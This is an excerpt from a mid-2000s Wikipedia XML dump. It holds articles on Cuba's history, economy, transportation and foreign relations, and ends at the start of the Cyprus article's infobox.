The United States have honored this agreement by not openly attacking Cuba anymore, but the CIA continued to support anti-Castro groups by mounting an extensive international campaign and several botched assassination attempts throughout the [[1960s]]. And the agreement was specifically about Cuban territory. But Cuba provided military support to revolutions in Angola, Nigeria and South America. During one such campaign, Ernesto [[Che Guevara]] was captured by U.S. trained commandos in [[Bolivia]] in [[1967]] and then executed. A low quality copy of the photograph that was taken of him after his death became very popular on t-shirts and posters, which, along with his selfless ideology and untimely death, but ignoring his Sierra Maestra blood purges and his role in executions after Castro gained power, has helped 'el Che' become a symbol of revolution in the world.

=== Cuba after the Soviet Union ===
When the Soviet Union broke up in late [[1991]], a major boost to Cuba's economy was lost, leaving it essentially paralyzed because the Cuban economy had a very narrow basis, focused on just a few products with just a few buyers. Also, supplies (including oil) almost dried up. Over 80% of Cuba's trade was lost and living conditions worsened. A [[periodo especial]] (special period) was declared, which included cutbacks on transport and electricity and even food rationing. In response, the United States tightened up the trade embargo even further, thinking this would surely mean the downfall of Castro. But Castro tapped into a pre-revolutionary source of income and opened the country to tourism, and entered into several joint ventures with foreign companies for hotel, agricultural and industrial projects. As a result, the use of U.S. dollars was legalized in [[1994]], with special stores being opened which only sold in dollars. Thus, there were now two separate economies, the dollar-economy and the peso-economy, creating a social split in the island because those in the dollar-economy made much more money (such as in the tourist-industry). However, in October 2004 the Cuban government announced an end to this policy: from November dollars would no longer be legal tender in Cuba, but would instead be exchanged for [[Cuban convertible peso|convertible pesos]], with a 10% commission payable to the state.

Extreme shortages of food and other goods as well as electrical blackouts led to a brief period of unrest, including numerous anti-government protests and widespread increases in crime. In response the Cuban Communist party government formed hundreds of “rapid-action brigades” to confront protesters. According to the Communist Party daily, Granma, &quot;delinquents and anti-social elements who try to create disorder and an atmosphere of mistrust and impunity in our society will receive a crushing reply from the people.&quot;

Some non-violent initiatives have been launched by Cubans in the island, aiming at political reform. In [[1997]], a group led by [[Vladimiro Roca]], a decorated veteran of the [[Angola]]n war and the son of the founder of the [[Cuban Communist Party]],  sent a petition, entitled ''La Patria es de Todos'' (&quot;the homeland belongs to all&quot;) to the Cuban general assembly requesting democratic and human rights reforms. As a result, Roca and his three associates were sentenced to jail, from which they were eventually released.

In 2001, a group backed by the Catholic church collected thousands of signatures for the [[Varela Project]], a petition requesting a referendum on the island's political system. The process was openly supported by former U.S. president [[Jimmy Carter]] during his historic 2002 visit to Cuba. The petition gathered sufficient signatures, but was rejected on an alleged technicality.  Instead. a [[plebiscite]] then was held in which it was formally proclaimed that Castro's brand of socialism would be perpetual. 

In 2003 seventy-five anti-government activists were arrested and summarily sentenced to heavy jail terms. Cuban officials described it as a response to provocative actions by the head of the U.S. interests section in Cuba, who had been traveling around the country holding publicized meetings and press conferences with the dissidents. Castro's action was widely criticised by mainstream human rights organizations and even by U.S. leftists generally sympathetic to his government.

In an unrelated matter six men were sentenced to death for hijacking a ferry with guns and knives, steering it into international waters where it ran out of fuel, and threatening to kill the passengers. Some accounts confused the two and accused Castro of sentencing dissidents to death, something which did not happen. A second ferry was hijacked, several days later and this time the hijackers were apprehended and executed within a few weeks.

== Culture ==
{{main|Culture of Cuba}}
* [[Music of Cuba]]
* [[Cuban literature]]
* [[Cuban cinema]]
* [[Public holidays in Cuba]]

Cuban culture is much influenced by the fact that it is a [[melting pot]] of cultures, mostly from Spain and Africa. It has produced its fair share of literature, including the output of non-Cuban [[Ernest Hemingway]].

==List of Cuban poetry, and Poets, authors, and literature==
(just a start please add)

:*de Balboa y Troya de Quesada, Silvestre (1563-1649) 1608 Espejo de Paciencia. [http://www.4thcorp.com/camaguey/espejo_de_paciencia.htm]. First known Cuban narrative poem deals with the killing of an attacking pirate by the people of Bayamo

:*Gómez de Avellaneda, Gertrudis (1814-1873) Her large body of excellent work includes the anti-slavery novel &quot;Dos mugeres&quot; (1842) and the play &quot;Baltasar&quot; (1858)   [http://www.hope.edu/latinamerican/gomezavellaneda.html]

:*Lazo, Rodrigo 2005 Writing to Cuba Filibustering and Cuban Exiles in the United States. University of North Carolina Press, ISBN 0807855944

:*Lecuona, Ernesto (1895-1962) First major composition, &quot;Malaguena,&quot; Roxy Theatre in New York 1927. [http://www.spaceagepop.com/lecuona.htm], [http://ourworld.compuserve.com/homepages/mvbart/]. 

:*Napoles Fajardo, Juan Cristobal (born 1829; believed killed by Spanish authorities in 1862) Selected work in Cucalambe (Decimas Cubanas): Seleccion De Rumores Del Hormigo. Ediciones Universal. 1999 ISBN 0897298780 An example of [[Siboneyista]] poetry, a 19th Century resistance movement which expressed its, then illegal, wish to be free of Spain couched as Siboney, one of the [[Neo-Taíno nations]] poetry and narrations. 

:*Simons, Moisés 1928 El Manisero (the &quot;[[Peanut Vendor]]&quot;)  An extremely popular song with complex poly-rhythms.  The author was a Jewish immigrant to Cuba. In the Cuban vernacular  to &quot;cantar el manisero' to sing this song is to die.  The &quot;Peanut Vendor&quot; inspired classically trained Joseph Norman Henderson, author of [[Cuban Pete]], to change his name to [[Jose Norman]] [http://www.jabw.demon.co.uk/jose1.htm] and dedicate his work to music from the island  [http://www.ualberta.ca/~aminkus/ProgramNotes.htm] [http://www.smithsonianjazz.org/latinjazz/latinjazz_education_tl.asp] [http://sc.millersville.edu/manuscripts/manus/scoreP.htm] [http://www.produccionesdelmar.com/longina/Autores/Moises_Simmons/]

:*Valdes, Zoe 1999I Gave You All I Had. Arcade Publishing; 1st English-language edition. ISBN 1559704772 Book is part of a  second wave of literature written by exiles who escaped Cuba in the latter part of the Castro years.

:*Valdéz, Gabriel de la Concepción (Plácido) 1809-1844 (executed)  Major, most well known poem and last poem “Plegaria a Dios.” [http://www.juanperez.com/triviaI.html], [http://72.14.203.104/search?q=cache%3AGKjIPeDnc1AJ%3Awww.afrocubaweb.com/eugenegodfried/placidoenglish.htm%2B%26hl%3Den%26ie%3DUTF-8]  His poetry, was often considered subversive and anti-slavery by the Spanish authorities.

:*Villaverde, Cirilo 1882 (New translation 2005 by Sibylle Fischer and Helen Lane) Cecilia Valdes or El Angel Hill.  Oxford University Press, USA ISBN 0195143957  Deals with sexual mores and the traditions of mistresses during the Spanish colonial period, with many historic details, including the execution of [[Narciso Lopez]]. The author was first condemned to death for conspiring for independence against Spain [http://uncpress.unc.edu/chapters/lazo_writing.html]; after his sentence was commuted to ten years he escaped [http://www.pinarte.cult.cu/gerardo_ortega/html/figuras_pinarenas/villaverde.htm].


==See also==
*[[Cuba]]
*[[Spanish colonization of the Americas]]

==External links==
*[http://www.cubafacts.com/History/hisover.htm CubaFacts.com - History] of Cuba from Hatuey to Castro (Slight anti-Castro bias)
*[http://www.historyofcuba.com/main/hstintro.htm History of Cuba] Timeline (Slight anti-American bias)

[[Category:History of Cuba| ]]

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&lt;!-- The early part of the article in particular needs to be brought up to date as it is approximately five years old. --&gt;

The [[Cuba]]n Government adheres to [[communist]] principles in organizing its [[state]]-controlled economy. Most of the [[means of production]] are owned and run by the government and about 75 percent of the [[labour (economics)|labour force]] is employed by the state.  The state plays the primary role in the domestic economy and controls practically all foreign [[trade]].

==Special Period==

The Cuban economy is still recovering from a decline in [[gross domestic product]] of at least 35 percent between [[1989]] and [[1993]] due to the loss of [[Soviet Union|Soviet]] [[subsidies]]. This era became known as the special period. The government has undertaken several reforms in recent years to stem excess [[liquidity]], increase labour incentives, and alleviate serious shortages of food, [[consumer good]]s, and services. To alleviate the economic crisis, the government introduced a few [[market economy|market]]-oriented reforms including opening to [[tourism]], allowing [[Foreign Direct Investment|foreign investment]], legalizing the [[U.S. dollar]] (since delegalized, but other hard currencies remain legal), and authorizing self-employment for some 150 [[occupation]]s. These measures resulted in modest [[economic growth]]; the official statistics, however, are deficient and as a result provide an incomplete measure of Cuba's real economic situation. The [[free market|liberalized]] [[agriculture|agricultural]] markets introduced in October [[1994]], at which state and private farmers sell above-quota production at [[free market]] prices, have broadened legal consumption alternatives and reduced [[black market]] prices. 

Government efforts to lower subsidies to unprofitable enterprises and to shrink the money supply caused the semi-official [[exchange rate]] for the [[Cuban peso]] to move from a peak of 120 to the dollar in the summer of 1994 to 21 to the dollar by yearend [[1999]]. [[Living conditions]] in 1999 remained well below the 1989 level.  New [[taxation|taxes]] introduced in 1996 have helped drive down the number of [[self-employment|self-employed]] workers from 208,000 in January 1996. 

Havana announced in 1995 that GDP declined by 35% during 1989-93, the result of lost Soviet aid and domestic inefficiencies. The drop in GDP apparently halted in 1994, when Cuba reported 0.7% growth, followed by increases of 2.5% in [[1995]] and 7.8% in 1996. Growth slowed again in [[1997]] and 1998 to 2.5% and 1.2% respectively. Growth recovered again in 1999 with a 6.2% increase in GDP, due to the continued growth of tourism. Central control is complicated by the existence of the [[informal economy]]. Growth in recent years has picked up significantly, with a growth in GDP of 11.8 % in 2005 alone. Cuba is currently undergoing an &quot;Energy Revolution&quot;, with increased emphasis on efficient use of electrical energy and the innovative use of more efficient small-power generators linked in a synchronized network. There is talk of increasing the implementation of solar- and wind-powered generators.

Cuba's precarious economic position is complicated by the high price it must pay for [[foreign financing]]. The Cuban Government defaulted on most of its [[international debt]] in [[1986]], which means Havana must rely heavily on [[short-term loans]] to finance imports, chiefly food and fuel.  

[[image:cuba_casa_particular.jpg|thumb|300px|View from a 'casa particular'; a Cuban homestay type of lodging &lt;br&gt;&lt;br&gt;Photograph by Dirk van der Made]]

==Tourism==

In the mid 1990s tourism surpassed [[sugar]], long the mainstay of the Cuban economy, as the primary source of foreign exchange. Tourism figures prominently in the Cuban Government's plans for development, and a top official cast it as the &quot;heart of the economy&quot;. Havana devotes significant resources to building new tourist facilities and renovating historic structures for use in the tourism sector. Cuban officials estimate roughly 1.6 million tourists visited Cuba in 1999 with about $1.9 [[billion]] in gross revenues. The official projections for [[2000]] are only slightly higher than in 1999. Independent analysts and journalists partially attributed low numbers in January to Y2K concerns.

==Agriculture==

Sugar remains an important part of the Cuban economy with large amounts of [[land (economics)|land]], labour, and other resources dedicated to the industry. Sugar production in 1989 was over 8 million tons, but fell to about 3.5 million tons in the 1994-95 harvest, one of the lowest on record. With increased [[fertilizer]]s and management attention, subsequent harvests have improved but remain well below the 1989 level. Prospects for regaining that level of output are poor unless the Cuban Government undertakes substantial reform of the sugar industry, something it has been reluctant to do, since it has become government policy to substantially and deliberately phase out the sugar industry.

More recently Cuba's world-class biotechnology and pharmaceutical industry is gaining in its importance to the economy. It has been claimed that soon it will become Cuba's main source of foreign exchange.  Among the products sold internationally are vaccines against various viral and bacterial pathogens, and promising anti-cancer vaccines are undergoing exhaustive clinical trials. Some Cuban scientists, like V. Verez-Bencomo, have been awarded international prizes for their contributions in biotechnology.  Cuban vaccines are sold, among other countries,in Russia, China, India, Pakistan, and several Latin American countries. 

== Foreign Investment ==

To help keep the economy afloat, Havana actively courts foreign investment, which often takes the form of joint ventures with the Cuban Government holding half of the equity, management contracts for tourism facilities, or financing for the sugar harvest. Cuban officials said in early [[1998]] that there were a total of 332 [[joint venture]]s.  Many of these are loans or contracts for management, supplies, or services normally not considered equity investment in Western economies.  Investors are constrained by the U.S.-Cuban Liberty and Democratic Solidarity Act which provides sanctions for those who &quot;traffic&quot; in property expropriated from U.S. citizens.  As of March 1998, 15 executives of three foreign companies have been excluded from entry into the United States.  Over a dozen companies have pulled out of Cuba or altered their plans to invest there due to the threat of action under the Libertad Act.

'''US Dollar'''

In [[1993]] the Cuban Government made it legal for its people to possess and use the U.S. dollar, nicknamed ''fula''.  From then until [[2004]], the dollar became a major currency in use.  To capture the hard currency flowing into the island through tourism and [[remittances]] - estimated at $500-800 million annually - the government set up state-run &quot;dollar stores&quot; throughout Cuba that sold 'luxury' food, household, and clothing items, compared with basic necessities, which were bought using the [[Cuban peso]].  As such, a gap in the standard of living developed between those with access to dollars and those without.  Jobs that could earn dollar salaries or tips from foreign businesses and tourists became highly desirable.  It was common to meet [[physician|doctors]], [[engineer]]s, [[scientist]]s, and other [[professional]]s working in [[restaurant]]s or as [[taxi driver]]s.

However, in response to stricter [[U.S. embargo against Cuba|economic sanctions by the US]], and because the authorities were pleased with Cuba's economic recovery, the Cuban government decided in [[October]] [[2004]] to remove the American dollar from circulation.  In its place, the [[Cuban convertible peso]] is now used, which although not internationally traded, has a value pegged to that of the dollar.  A 10% surcharge is levied for conversions from US dollars to the convertible peso, to discourage the entry of dollars into the country; this surcharge does not apply to other currencies, so it acts as an encouragement to tourists to bring currencies like [[Euro]]s, [[pound sterling|pounds sterling]] or [[Canadian dollar]]s into Cuba.  Indeed, an increasing number of areas rich in tourism now also accept Euros directly for many transactions.

==Self-Employment==

To provide jobs for workers laid off due to the economic crisis, furnish services the government was having difficulty providing, and to try to bring some forms of black market activity into legal - and therefore controllable - channels, Havana in 1993 legalized self-employment for some 150 occupations. The government tightly controls the small private sector, which has fluctuated in size from 150,000 to 209,000, by regulating and taxing it. For example, owners of small private restaurants (''[[paladar]]es'') can seat no more than 12 people and can only employ family members to help with the work. Set monthly fees must be paid regardless of income earned and frequent inspections yield stiff fines when any of the many self-employment regulations are violated. Rather than expanding private sector opportunities, in recent years, the government has been attempting to squeeze more of these private sector entrepreneurs out of business and back to the public sector. Many have opted to enter the informal economy or black market. In recent years there has developed what is called &quot;urban agriculture,&quot; production which takes place on small parcels of land in the cities. Growing [[organopónicos]] (organic gardens) in the private sector has been attractive to city dwelling small producers who get to sell their products in the same place where they produce them, avoiding taxes and enjoying a measure of government help from the Ministry of Agriculture (MINAGRI) in the form of seed houses and advisors.

==Connection with Venezuela==

The relationship cultivated between Cuba and [[Venezuela]] in recent years has resulted in agreements that Venezuela provide cheap oil in exchange for Cuban &quot;missions&quot; of doctors which aid and help to improve the Venezuelan health care system. Cuba, with the highest per capita number of physicians in the world, sends tens of thousands of doctors to other countries as aid, as well as for obtaining favorable economic terms of trade.

== Statistics ==
'''GDP:'''
purchasing power parity - $32.13 billion (2003 est.)

'''GDP - real growth rate:'''
11.8% (2005 est.)

'''GDP - per capita:'''
purchasing power parity - $2,900 (2003 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
5.5%
&lt;br&gt;''industry:''
26.9%
&lt;br&gt;''services:''
67.6% (2003 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
4.1% (2003 est.)

'''Labour force:'''
4.58 million economically active population
&lt;br&gt;''note:''
state sector 78%, non-state sector 22% (2003 est.)

'''Labour force - by occupation:'''
agriculture 24%, industry 25%, services 51%

'''Unemployment rate:'''
2.3% (official figure, 2004)

'''Budget:'''
&lt;br&gt;''revenues:''
$17.21 billion
&lt;br&gt;''expenditures:''
$18.28 billion, including capital expenditures of $NA (2003 est.)

'''Industries:'''
sugar, biotechnological products, petroleum, food, tobacco, textiles, chemicals, paper and wood products, metals (particularly nickel), cement, fertilizers, consumer goods, agricultural machinery

'''Industrial production growth rate:'''
2.4% (2003 est.)

'''Electricity - production:'''
14,380 GWh (2003)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
89.52%
&lt;br&gt;''hydro:''
0.65%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
9.83% (1998)

'''Electricity - consumption:'''
13.38 TWh (2003)

'''Electricity - exports:'''
0 kWh (2003)

'''Electricity - imports:'''
0 kWh (2003)

'''Agriculture - products:'''
sugarcane, tobacco, citrus, coffee, rice, potatoes, beans; livestock

'''Exports:'''
$1.467 billion (f.o.b., 2003 est.)

'''Exports - commodities:'''
sugar, medical products, nickel, tobacco, shellfish, citrus, coffee

'''Exports - partners:'''
Netherlands 21.6%, Canada 17.6%, Russia 10.8%, Spain 8.6%, China 7.2% (2003 est.)

'''Imports:'''
$4.531 billion f.o.b. (2003 est.)

'''Imports - commodities:'''
petroleum, food, machinery, chemicals

'''Imports - partners:'''
Spain 16.3%, Venezuela 12.3%, Italy 8.4%, USA 8.3%, China 7.5%, Canada 5.3%, Mexico 5.2%, France 4.8% (2003 est.)

'''Debt - external:'''
$12.52 billion (convertible currency); another $15 billion owed to Russia (2003 est.)

'''Economic aid - recipient:'''
$68.2 million (1997 est.)

'''Currency:'''
1 Cuban peso (CUP) = 100 centavos

'''Exchange rates:'''
Cuban pesos (CUP) per US$1 - 25 (2005) (nonconvertible, official rate, linked to the US dollar)

'''Fiscal year:'''
calendar year

==See also==

* Cuba, the cow [[Ubre Blanca]]
* [[List of Cuban companies]]
* [[United States embargo against Cuba]]

==External links==

*[http://archives.cnn.com/2002/ALLPOLITICS/05/20/time.letter/index.html What Castro wants]- Time Story about the U.S. embargo.

{{WTO}}
[[Category:Economy of Cuba| ]]
 
[[Category:WTO members|Cuba]]
[[es:Economía de Cuba]]
[[fr:Économie de Cuba]]
[[pt:Economia de Cuba]]</text>
    </revision>
  </page>
  <page>
    <title>Cuba/Communications</title>
    <id>5589</id>
    <revision>
      <id>15903791</id>
      <timestamp>2002-08-19T08:01:56Z</timestamp>
      <contributor>
        <ip>62.253.64.7</ip>
      </contributor>
      <minor />
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Cuba]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Cuba</title>
    <id>5590</id>
    <revision>
      <id>35788585</id>
      <timestamp>2006-01-19T07:41:11Z</timestamp>
      <contributor>
        <username>DirkvdM</username>
        <id>223783</id>
      </contributor>
      <text xml:space="preserve">{{CIA}}

'''Transportation in [[Cuba]]''':
[[image:cuba_public_transportation.jpg|thumb|300px|Alternative public transportation in [[Trinidad, Cuba|Trinidad]] &lt;br&gt;&lt;br&gt;Photograph by Dirk van der Made]]

==[[Railway]]s==
*''total:'' 4,226 km
*''standard gauge:'' 4,226 km 1.435-m gauge (140 km electrified)
*''note:'' an additional 7,742 km of track is used by sugar plantations; about 65% of this track is standard gauge; the rest is narrow gauge (2003)

==Roads==

[[Highway]]s:
*''total:'' 60,858 km
*''paved:'' 29,820 km (including 638 km of expressway)
*''unpaved:'' 31,038 km (1999 est.)

Public transportation includes many 'camellos' (so called for their two humps) and 1500 old Dutch buses, which the [[Netherlands]] donated to Cuba in the mid 1990's.

==[[Waterway]]s==
240 km

==[[Seaport]]s and [[harbour]]s:==
[[Cienfuegos]], [[Havana]], [[Manzanillo, Cuba|Manzanillo]], [[Mariel]], [[Matanzas]], [[Nuevitas]], [[Santiago de Cuba]]

==[[Merchant marine]]==
*''total:'' 13 ships (1,000 GRT or over) totaling 54,818 GRT/81,850 DWT
*''ships by type:'' bulk 3, cargo 4, liquified gas 1, petroleum tanker 3, refrigerated cargo 2 
*''registered in other countries:'' 35 (2003 est.)

==Airlines==
Besides the state owned airline Cubana ([[Cubana de Aviación]]), the two major Cuban airlines are Aero Caribbean ([http://www.aero-caribbean.com www.aero-caribbean.com]) and Aerogaviota ([http://www.aerogaviota.com www.aerogaviota.com]), both of whom operate modern European and Russian aircraft.

==[[Airport]]s==
* 170 (2003 est.)

===Airports with paved runways===
*''total:'' 79
*''over 3,047 m:'' 7
*''2,438 to 3,047 m:'' 9
*''1,524 to 2,437 m:'' 20
*''914 to 1,523 m:'' 6
*''under 914 m:'' 37 (2003 est.)

===Airports with unpaved runways===
*''total:'' 91
*''914 to 1,523 m:'' 29
*''under 914 m:'' 62 (2003 est.)

==External links==
*[http://www.philseed.com/Cuba.html photos of antique Cuban cars]

{{North America in topic|Transportation in}}
[[Category:Transportation in Cuba|*]]</text>
    </revision>
  </page>
  <page>
    <title>Cuba/Military</title>
    <id>5591</id>
    <revision>
      <id>15903793</id>
      <timestamp>2002-08-19T08:02:43Z</timestamp>
      <contributor>
        <ip>62.253.64.7</ip>
      </contributor>
      <minor />
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Military of Cuba]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Cuba</title>
    <id>5592</id>
    <revision>
      <id>41872937</id>
      <timestamp>2006-03-02T07:19:38Z</timestamp>
      <contributor>
        <ip>24.20.77.128</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Politics of Cuba}}
[[Cuba]]'s once-ambitious foreign policy has been scaled back and redirected as a result of economic hardship and the end of the [[Cold War]]. However, with the support and funding by [[Hugo Chavez]] of [[Venezuela]], &quot;advancing the cause of  socialism&quot; in Latin America has regained vigor. Now this trend appears to include [[Evo Morales]], leader of [[coca]] growers,  recently elected president of [[Bolivia]]. 

Cuba aims to find new sources of trade, aid, and foreign investment, and to promote opposition to [[United States|U.S.]] policy, especially the [[trade embargo]] and the [[1996 Libertad Act]].  Cuba has relations with over 160 countries and has civilian assistance workers -- principally medical -- in more than 20 nations. This is commonly believed to be a significant source of income for the Castro government (e.g., exchanged for oil from Venezuela), and thus promoted officially even though occasionally some defect e.g., [http://www.theglobeandmail.com/servlet/ArticleNews/TPStory/LAC/20051026/CUBANS26/TPNational/Canada], [http://www.tillsonburgnews.com/story.php?id=192513].

==Cuban Intervention: 1959 - Early 1990s==
Aided by a massive buildup of Soviet advisors, military personnel, and advanced weaponry during the Cold War, Cuba became a staunch ally of the USSR during Castro's rule, modeling its political structure after that of the [[Communist Party of the Soviet Union|CPSU]]. Due to this huge amount of support, Cuba became a major sponsor of Marxist &quot;wars of national liberation&quot; not only in Latin America, but worldwide.

===Latin America===
Cuba's support extended to groups such as the [[Guatemalan National Revolutionary Unity|URNG]] of [[Guatemala]], the [[Farabundo Martí National Liberation Front|FMLN]] of [[El Salvador]], the [[Sandinista National Liberation Front|FSLN]] of [[Nicaragua]], and [[National Liberation Army (Colombia)|ELN]] and [[Revolutionary Armed Forces of Colombia|FARC]] rebels in Colombia.

Cuba supported the Sandinista leadership of Nicaragua and the [[New Jewel Movement]] government of [[Grenada]]. Following the aforementioned countries' successful revolutions in 1979, [[Fidel Castro]] is known to have boasted, &quot;Now there are three of us.&quot; Guerrilla groups supported by Cuba became quite active in the '70s and '80s, particularly in [[Central America]], with El Salvador, Guatemala, and Nicaragua perhaps becoming the most unstable countries as Cuba assisted Marxist rebel coalitions dissatisfied with their respective governments.

===Black Panthers===
In the '60s and '70s, Cuba openly supported the black nationalist and Marxist-oriented [[Black Panther Party]] of the U.S. Many members found their way into Cuba for political asylum, where Cuba welcomed them after they had been convicted of crimes in the U.S.

===Palestinians===
Cuba has also lent support to [[Palestinian]] [[nationalism|nationalist]] groups against [[Israel]]. Fidel Castro claims Israel practices &quot;[[Zionism|Zionist]] Fascism.&quot; Cuba has also lent support to the prominent [[Palestine Liberation Organization]] (PLO) and the lesser-known [[Marxism-Leninism|Marxist-Leninist]] [[Popular Front for the Liberation of Palestine]] (PFLP) both received training from Cuba's General Intelligence Directorate, as well as financial and diplomatic support from the Cuban government.

===Irish Republicans===
The [[Irish Republican]] political party, [[Sinn Fein]] (linked to the [[Provisional Irish Republican Army]]) is also known to have close political links to the Cuban government. In the past [[Fidel Castro]] has expressed support for the Irish Republican cause of a [[United Ireland]].

===Africa===
In [[sub-Saharan Africa]] Cuba sent troops along with the Soviet Union to aid the [[Mozambican Liberation Front|FRELIMO]] and [[Popular Movement for the Liberation of Angola|MPLA]] dictatorships in [[Mozambique]] and [[Angola]], respectively, while they were fighting U.S. and [[South Africa]]n-backed insurgent groups [[Mozambican National Resistance|RENAMO]] (supported by [[Rhodesia]] as well) and [[National Union for Total Independence of Angola|UNITA]]. He also aided the Communist regime of [[Mengistu Haile Mariam]] in [[Ethiopia]] during its conflict with [[Somalia]].

Fidel Castro has a good personal relationship with former [[South Africa]]n president [[Nelson Mandela]] that arises out of Cuba's support for Mandela's [[African National Congress]] organization in the '70s and '80s.

==Post-Cold War Foreign Relations==
In the post-Cold War environment, guerrilla warfare in Latin America has largely subsided, and the region has established democratic institutions, though countries such as Peru and Colombia were still undergoing internal wars against prolonged insurgencies, while several others also suffered from severe economic strife. Cuba continued to provide assistance, of a more political than an outright military or economic nature, to some of the region's revolutionary groups, but with the collapse of the Soviet Union and the establishment of peace in most of the developing [[Western Hemisphere]], Cuba is not the influential Latin American power it once was. 

While it is commonly said that Cuba no longer exerts a revolutionary influence on the region, in reality the situation is ambiguous at best [http://en.wikipedia.org/wiki/Cuban_espionage_and_related_extraterritorial_activity_revised].  Cuba today works with a growing bloc of Latin American politicians opposed to the &quot;[[Washington consensus]],&quot; the American attitude that [[free trade]], open markets, and [[privatization]] will lift poor third world countries out of economic stagnation. Castro has condemned [[neoliberalism]] as a destructive force in the developing world.  Cuba has continued in its support of destabilization efforts notably with this alliance with the militarily powerful President [[Hugo Chávez]] of [[Venezuela]], and with its support of the President of the Bolivian Coca growers union of [[Evo Morales]].

Currently, Cuba has diplomatically friendly relationships with Presidents Hugo Chávez of [[Venezuela]], [[Lula da Silva]] of [[Brazil]], and [[Nestor Kirchner]] of [[Argentina]], with Chavez as perhaps his staunchest ally in the post-Soviet era. Cuba has sent thousands of teachers and medical personnel to Venezuela to assist Chavez's [[socialism|socialist]] and populist-oriented economic programs.  Chavez, in turn provides Cuba with lower priced petroleum.  Cuba's debt for oil to Venezuela is believed to be on the order of one billion US dollars [http://havanajournal.com/business_comments/A1221_0_4_0_M/].

==Cuban-American relations==

Because of Cuba's Marxist-Leninist government, the power of the [[Cuban-American lobby]], especially in [[Florida]], and Castro's almost 50 years of rigid one man rule plus his constant support of destabilization relations around the world, the relations between Cuba and the United States have long been very poor. Under President [[John F. Kennedy]], the [[CIA]] launched the failed [[Bay of Pigs invasion]] in an attempt to topple [[Fidel Castro]]. The CIA also embarked on a number of failed baroque assassination attempts.  As a result of the [[Cuban Missile Crisis]] of 1962 the United States promised to not invade Cuba, but continued to employ strict economic sanctions.

American diplomatic representation in Cuba is handled by the [http://havana.usinterestsection.gov/ US Interests Section in Havana],which is housed by the Embassy of [[Switzerland]]. Cuba has an Interests Section in [[Washington D.C]]. Both sides handle [[Visa (document)|visa]] processing, consular issues and facilitate limited contact between the two governments. 

Despite the end of the Cold War and the normalization of American relations with such countries as the [[People's Republic of China]] and [[Vietnam]], the U.S. still has a strong policy against trade with Cuba and trade is limited to cash purchases of food and  medicine. This includes travel restrictions and laws against American companies operating there.  These measures were further strengthened by the [[Helms-Burton Act]] of [[1996]] which attempted to punish any foreign companies operating in Cuba, especially those using expropriated US assets.

The US continues to operate a naval Base at [[Guantanamo Bay]]. It is leased to the US and only mutual agreement or US abandonment of the area can terminate the lease.

According to the [[CIA]]'s Factbook, Cuba's territorial waters and air space serve as transshipment zone for [[cocaine]] bound for the US and [[Europe]].

Cuba is listed by the U.S. as one of the &quot;[[outposts of tyranny]]&quot; since the [[George W. Bush|Bush administration]].

==Cuban-Canadian relations==

Perhaps mostly because of the restrictions the [[United States]] placed on [[Cuba]], [[Canada]] has a strong trade relationship with the country; [[Cuba]] is also one of Canadians' most popular travel destinations.  Relations between [[Cuba]] and [[Canada]] have been close since before Castro came to power. Following the Cuban revolution, [[Canada]]-based banks were the only ones not nationalized.  Furthermore Cuba has given Canadian companies relaxed access to assets expropriated from US companies [http://www.fiu.edu/~fcf/twocomp.html] (most notably mining interests [http://www.american.edu/TED/cubamine.htm]). Canada is outwardly annoyed by American attempts to pressure it to stop trading with Cuba, the [[Helms-Burton Act]] being particularly aggravating. In 1996 a [[Private Member's Bill]] was introduced, but not made law, in the [[Canadian parliament]]; this law called the [[Godfrey-Milliken Bill]] was in response to the extra-territoriality of the aforementioned Act. Canada also protests US preclearance customs agents in Canadian airports who try to catch American citizens travelling to Cuba in defiance of US law.

Former [[Prime Minister of Canada|Prime Minister]], the late [[Pierre Trudeau]], and especially his ex-wife [[Margaret Trudeau]] were personal friends of Castro.  In fact Castro proceeded directly to the Notre Dame in [[Montreal]] to pay his last respects to his old friend. Castro was among Pierre Trudeau's pallbearers at [[State funeral of Pierre Trudeau|his funeral]].

==See also==
[[Cocktail Wars]]

==External links==
*[http://www.cubaminrex.cu/English/index.asp Cuban Ministry of Foreign Affairs]
*[http://www.un.int/cuba/Pages/main1ingles.htm Cuban Mission to the United Nations]
*[http://www.yale.edu/lawweb/avalon/diplomacy/cuba/cuba003.htm Text of U.S.- Cuban agreement on military bases]

'''Representations of other countries in Cuba'''
*[http://www.britishembassy.gov.uk/cuba  British Embassy in Havana]
*[http://www.indembassyhavana.cu/ Embassy of India in Havana]
*[http://www.dfait-maeci.gc.ca/cuba/menu-en.asp The Canadian Embassy in Cuba] 
*[http://havana.usinterestsection.gov/ U.S. Interests Section in Havana]
'''Cuban represntations to other countries'''
*[http://www.embacubalebanon.com/Menu-e.htm Cuban Embassy in Lebanon]
 
[[Category:Foreign relations of Cuba| ]]</text>
    </revision>
  </page>
  <page>
    <title>Cyprus</title>
    <id>5593</id>
    <revision>
      <id>42143335</id>
      <timestamp>2006-03-04T02:40:23Z</timestamp>
      <contributor>
        <ip>129.44.217.224</ip>
      </contributor>
      <text xml:space="preserve">:''See also [[Cypress]] (a common misspelling) for other meanings.''
{{Infobox Country
|native_name = Republic of Cyprus&lt;br&gt;Κυπριακή Δημοκρατία&lt;br&gt;Kypriakí Dimokratía &lt;small&gt;([[Greek language|Greek]])&lt;/small&gt; &lt;br&gt; Kıbrıs Cumhuriyeti &lt;small&gt;([[Turkish language|Turkish]])&lt;/small&gt; 
|common_name = Cyprus 
|image_flag = Flag of Cyprus.svg
|image_coat = Cyprus Coat of Arms.png 
|image_map = LocationCyprus.png 
|national_motto = None 
|national_anthem = [[Hymn to Freedom|Ymnos pros tin Eleutherian]] (English: ''Hymn to Freedom'')&lt;sup&gt;1&lt;/sup&gt; 
|official_languages =  [[Greek language|Greek]] and [[Turkish language|Turkish]]
|capital = [[Nicosia|Nicosia]]
|latd=35|latm=08|latNS=N|longd=33|longm=28|longEW=E
|largest_city = [[Nicosia]] 
|government_type= [[Republic]]
|leader_titles = [[President]] 
